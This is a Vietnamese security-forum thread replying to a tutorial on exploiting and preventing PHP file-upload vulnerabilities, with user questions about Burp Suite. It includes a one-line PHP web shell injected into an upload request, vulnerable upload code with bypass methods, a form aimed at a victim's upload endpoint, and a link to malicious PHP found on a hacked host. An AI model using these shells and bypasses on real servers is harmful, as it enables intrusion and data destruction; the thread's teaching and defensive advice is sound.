[Question] Re: Khai thác và phòng chống file upload trong PHP Web Applications |
27/04/2009 05:58:46 (+0700) | #31 | 178611 |
|
dangminh4
Member
|
0 |
|
|
Joined: 04/02/2007 21:44:21
Messages: 107
Offline
|
|
Cho mình hỏi muốn để burp suite bên dưới trình duyệt FF có chũ P on/off giống của seamoun thì làm thế nào vậy |
|
|
|
|
[Question] Re: Khai thác và phòng chống file upload trong PHP Web Applications |
28/04/2009 06:10:12 (+0700) | #32 | 178753 |
woodenhouse
Member
|
0 |
|
|
Joined: 12/06/2008 14:18:49
Messages: 25
Offline
|
|
Em đang thực hành vụ này mấy a cho em hỏi như sau:
trên server em thực hành thì nó chỉ cho upload file dạng đuôi .doc ... em dùng burpsuite_v1.2 chặn lại được para rồi em sữa khúc sau:
-----------------------------7d92ce23906f2
Content-Disposition: form-data; name="spec"; filename="C:\Documents and Settings\User\Desktop\test.doc"
Content-Type: application/msword
<?
system($_GET['cmd']);
?>
-----------------------------7d92ce23906f2
Content-Disposition: form-data; name="specFileName"
test.doc
-----------
em đã thêm dòng <?system($_GET['cmd']);?> rồi forward đi forward thành công luôn nhưng khi bật 1 khung IE khác em gõ http://website/upload/test.doc?cmd=netstat -an thì trang web nó hiện lên khung download file .doc này chứ ko thực thi đoạn lệnh system kia vậy em bị sai ở đâu dạ? các giúp em với ạ ... em cũng download file .doc này về và mở dạng code ra coi thử thì có dòng <?system($_GET['cmd']);?> nhưng ko biết tại sao nó ko chạy được hix |
|
|
|
|
[Article] Khai thác và phòng chống file upload trong PHP Web Applications |
03/08/2009 00:29:06 (+0700) | #33 | 188421 |
myname2
Member
|
0 |
|
|
Joined: 01/08/2009 19:21:17
Messages: 1
Offline
|
|
Anh ơi, cho em hỏi, nếu muốn chống file upload thì cấm truy cập vào thư mục đó. Vậy nếu đó là một thư mục chứa ảnh của các album thành viên thì các thành viên sẽ ko truy cập đc ạ |
|
|
|
|
[Question] Re: Khai thác và phòng chống file upload trong PHP Web Applications |
06/12/2009 02:19:08 (+0700) | #34 | 199887 |
Mũ Trắng
Member
|
0 |
|
|
Joined: 01/12/2009 08:15:19
Messages: 24
Offline
|
|
dangminh4 wrote:
Cho mình hỏi muốn để burp suite bên dưới trình duyệt FF có chũ P on/off giống của seamoun thì làm thế nào vậy
EM cũng muốn hỏi! Ai làm được giải thích dùm với |
|
|
|
|
[Article] Khai thác và phòng chống file upload trong PHP Web Applications |
01/02/2010 11:39:25 (+0700) | #35 | 204321 |
vinh_k5cna2
Member
|
0 |
|
|
Joined: 23/03/2008 18:11:48
Messages: 1
Offline
|
|
seamoun wrote:
I. GIỚI THIỆU
Ứng dụng Web hỗ trợ cho phép người sử dụng thực hiện upload file lên server hiện tại có rất nhiều. Ví dụ như upload image(*.gif, *.jpg), *.pdf, *.doc, ...
Trong bài này seamoun sẽ trình bày một số lỗi khi lập trình file upload mà kẻ xấu có thể lợi dụng để upload những mã độc lên server. Những phương thức khai thác mà seamoun trình bày chỉ mang tính tham khảo không ủng hộ các bạn khai thác đối với những server bị mắc lỗi.
II. KHAI THÁC LỖI UPLOAD FILE
1) Trường hợp sử dụng JavaScript để kiểm tra file upload
Giả sử ta có kịch bản gồm 2 file như sau:
Code:
<html>
<title>Secure file upload PHP Web Applications</title>
<head>
<script language=javascript>
function chkFileExtension()
{
var str=document.upload.userfile.value;
var ext=str.substring(str.length,str.length-3);
if ( ext != "gif")
{
alert("File is invalid");
return false;
}
else
{
return true;
};
}
</script>
</head>
<body>
<form name="upload" action="upload1.php" method="POST" ENCTYPE="multipart/form-data" onSubmit="return chkFileExtension()">
Select the file to upload: <input type="file" name="userfile">
<input type="submit" name="upload" value="upload">
</form>
</body>
</html>
Code:
<?php
$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
echo "File was successfully uploaded.\n";
} else {
echo "File uploading failed.\n";
}
?>
Ví dụ trên cho thấy người lập trình kiểm tra phần mở rộng file cho phép file upload bằng cách sử dụng một đoạn mã Javascript trong file upload1.html. Chỉ chấp nhận những file có phần mở rộng là *.gif thì mới được phép upload, cách này một kẻ tấn công dễ dàng vượt qua bằng cách sử dụng một intercepting proxy hoặc có thể viết một đoạn mã bằng Perl, Python,... mà đệ trình trực tiếp đến file upload1.php với những tham số cần thiết.
Trong demo sau seamoun sử dụng Burp Suite là một tool rất mạnh khi thực hiện Web Application. Có thể download tại : http://portswigger.net/
---------------------------------------
Các anh có thể cho em hỏi 1 chút đc ko ạ ?
Em mới tìm hiểu về các vấn đề ở trên các anh nói , em cũng muốn thực hiện xem khả năng tiếp thu của mình đến đâu , nhưng khi load toll Burp Suite về thì ko biết sử dụng ra sao ( vì thấy trong video demo toll này đã đc add luôn vào fifox rồi ) Vậy các anh có thể cho em biết , add Toll Burp Suite và Fifox như thế nào ,và hướng dẫn sử dụng PM cụ thể ra sao được ko ạ ?
Em cảm ơn các anh ! |
|
|
|
|
[Article] Khai thác và phòng chống file upload trong PHP Web Applications |
07/03/2010 03:38:06 (+0700) | #36 | 206350 |
beta14
Member
|
0 |
|
|
Joined: 12/02/2010 05:17:58
Messages: 10
Offline
|
|
Theo tôi tìm hiểu thì các dịch vụ upload ảnh dùng static server để lưu file. Cái này hình như là một phần lỗi cấu hình mặc định của Apache 1.x, 2.x đã sửa rồi. Có làm kiểu: *.php.gif hay chèn mã php vào file ảnh cũng chẳng khai thác được gì. |
|
|
|
|
[Article] Khai thác và phòng chống file upload trong PHP Web Applications |
02/08/2010 21:03:19 (+0700) | #37 | 217369 |
huyannet
Member
|
0 |
|
|
Joined: 21/07/2008 00:42:51
Messages: 83
Offline
|
|
Trong trường hợp 1 có thể tạo 1 trang upload với nội dung sau:
<form name="upload" action="http://VICTIM/upload1.php" method="POST" ENCTYPE="multipart/form-data">
Select the file to upload: <input type="file" name="userfile">
<input type="submit" name="upload" value="upload">
</form>
Sau đó lưu lại thành .html rồi upload. Hoặc có thể dùng chức năng gõ lệnh javascrip trên thanh Address với cú pháp:
javascript:[Mã nhúng 1 form upload hoặc 1 mã độc nào đó] |
|
|
|
|
[Article] Khai thác và phòng chống file upload trong PHP Web Applications |
09/08/2013 15:27:31 (+0700) | #38 | 278031 |
|
giundat_power
Member
|
0 |
|
|
Joined: 17/08/2011 04:19:31
Messages: 4
Offline
|
|
This post is set hidden by a moderator because it may be violating forum's guideline or it needs modification before setting visible to members. |
|
_______f(x)_________ |
|
|
|
[Article] Khai thác và phòng chống file upload trong PHP Web Applications |
09/08/2013 16:15:25 (+0700) | #39 | 278033 |
itshield
Member
|
0 |
|
|
Joined: 23/07/2013 21:45:54
Messages: 6
Offline
|
|
Thanks bác seamoun, tiện thể các bác cao thủ nào có thể chỉ giáo thêm các lỗ hổng khác với, mình thấy có một website: http://iwast.securitas.com.vn/iwast/ cho test các lỗ hổng khác nhưng khả năng mình chỉ đến case 7 (SQLi) và case 6 (XSS) thôi, mong các bác HELP |
|
|
|
|
[Article] Khai thác và phòng chống file upload trong PHP Web Applications |
27/09/2013 09:38:03 (+0700) | #40 | 278565 |
|
tam_itvn
Member
|
0 |
|
|
Joined: 27/08/2004 22:44:55
Messages: 11
Offline
|
|
Thanks bác seamoun đã share tut bằng clip thật hay.
Cánh đây hơn 1 tuần...Một trang web khách hàng sử dụng host share bị xoá sạch toàn bộ thông tin trên host (source code, file image,...vv).
Kiếm tra trên host thấy có file php được đặt tên sex69.php (../public_html/sex69.php). Lấy file này về local chạy thử thấy nói như là 1 cái tool khá mạnh.
Các bác cho hỏi làm thế nào họ lại đưa được file php lên host của mình ? lên đứng thư mục chủ luôn public_html/sex69.php
Tam có share file php tại link: http://www.mediafire.com/download/trc2q7aot8acpn9/file_php_sex69.rar
Bác nào biết xin chỉ giúp. Cảm ơn các bác nhiều |
|
Panpic.vn |
|
|
|
[Article] Re: Khai thác và phòng chống file upload trong PHP Web Applications |
11/11/2013 20:00:21 (+0700) | #41 | 278987 |
hocquantrimang
Member
|
0 |
|
|
Joined: 05/11/2013 22:58:19
Messages: 2
Offline
|
|
seamoun wrote:
4) Trường hợp kiểm tra phần mở rộng của file trên server với đoạn mã sau:
Code:
<?php
$blacklist = array(".php", ".phtml");
foreach ($blacklist as $item) {
if(preg_match("/$item\$/i", $_FILES['userfile']['name'])) {
echo "We do not allow uploading PHP files\n";
exit;
}
}
$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
echo "File is valid, and was successfully uploaded.\n";
} else {
echo "File uploading failed.\n";
}
?>
Như vậy với đoạn mã người lập trình đã ngăn chặn kẻ tấn công không thể upload file *.php lên server. Tuy nhiên trường hợp này cũng chưa an toàn với những server mà có cấu hình file *.gif, *.jpg cho phép xử lý PHP. Do vậy kẻ tấn công vẫn upload file gif, jpg lên server nhưng có chèn thêm mã độc vào.
III. CÁCH PHÒNG CHỐNG
Mấu chốt giải quyết vấn để làm thế nào an toàn trong file upload đó là lưu giữ file upload lên một nơi mà không thể truy cập bởi user thông qua URL. Điều này có thể thực hiện được bằng cách lưu file upload bên ngoài thưc mục webroot hoặc trên web server nhưng từ chối truy cập đến thư mục đó.
Tài liệu tham khảo: Secure File Upload In PHP Web Applications - ScanIt
Công cụ sử dụng: Burp Suite http://portswigger.net/)
nói thật là bác up bài này, có khuyến cáo sợ người khác sử dụng sai mục đích, nhưng theo em là bác đã lo xa quá thừa, bởi clip bác làm quá ngắn gọn, ko có file word hướng dẫn kèm theo, web demo đã có sẵn do bác tạo ra , tất cả mọi thứ đều chung chung và quá mơ hồ đối với newbie, mà em ko hiểu bác viết bài này để giúp các newbei như em, hay là để nói với những người đã biết nữa, em thấy để xem clip của bác mà hiểu thì chắc là người ta phải biết hack thông qua lỗi upshell và hiểu sâu sắc rồi , mà những cái loại ý thì chắc chả buồn down clip của bác làm cái gì nữa nhỉ, người đọc topic của bác là những newbie mới đọc thôi, em có chút góp ý như vậy có gì không phải thì cũng thôi, tính em là em nói thẳng, làm gì cũng phải hướng đến người dùng, đã ko làm thì thôi, chứ đã có ý giới thiệu cho người ta biết thì nên làm sao cho nó rõ ràng rành mạch, còn sợ mất nghề tốt nhất ko up. sau đây em xin viết ra 1 vài thắc cmn mắc của em sau khi down tạm 1 cái clip của bác về xem, em là newbie nhé , có thể khó tránh khỏi vài lỗi cơ bản, nhưng thế mới là newbie :
1/ web bác demo là web nào
2/ web bác tấn công là web nào
3/ cơ chế như thế nào
4/ web của bác do bác tạo ra nên bác có sẵn file shell trên đó, vậy newbie thì dùng cái gì để thực hành
5/ 1 trang web bình thường tìm mãi không thấy chỗ upload cái gì đó lên, vậy mà trong csdl của nó vẫn có file shell, vậy có phải rõ ràng web đó do chính người design đưa file shell vào csdl để làm mẫu hướng dẫn hay ko ? vì nếu csdl ko có sắn thì gõ link ko bao h ra, như 1 web site đơn giản gõ vào nó như mọi web khác, nhưng có thêm đuôi /wp-includes/css/byg.php chẳng hạn thì nó lại sẽ ra 1 link với giao diện hoàn toàn khác và đã có sắn shell trên đó.
=>vấn đề newbie đặt ra là : làm thế nào để tìm được 1 web có thể cho upshell, phải có tools chứ, ko lẽ google để nghĩ ra vài cái tên lạ lạ thử tét sao :v và rồi khi đã upshell thành công thì tiến hành chạy shell đó như thế nào. newbie thì cần biết những cái đó đó. còn bác viết bài này đối với những người xem là newbie = con số 0 tròn chĩnh . |
|
|
|
|
|
|
|
Users currently in here |
1 Anonymous
|
|
Powered by JForum - Extended by HVAOnline
hvaonline.net | hvaforum.net | hvazone.net | hvanews.net | vnhacker.org
1999 - 2013 ©
v2012|0504|218|
|
|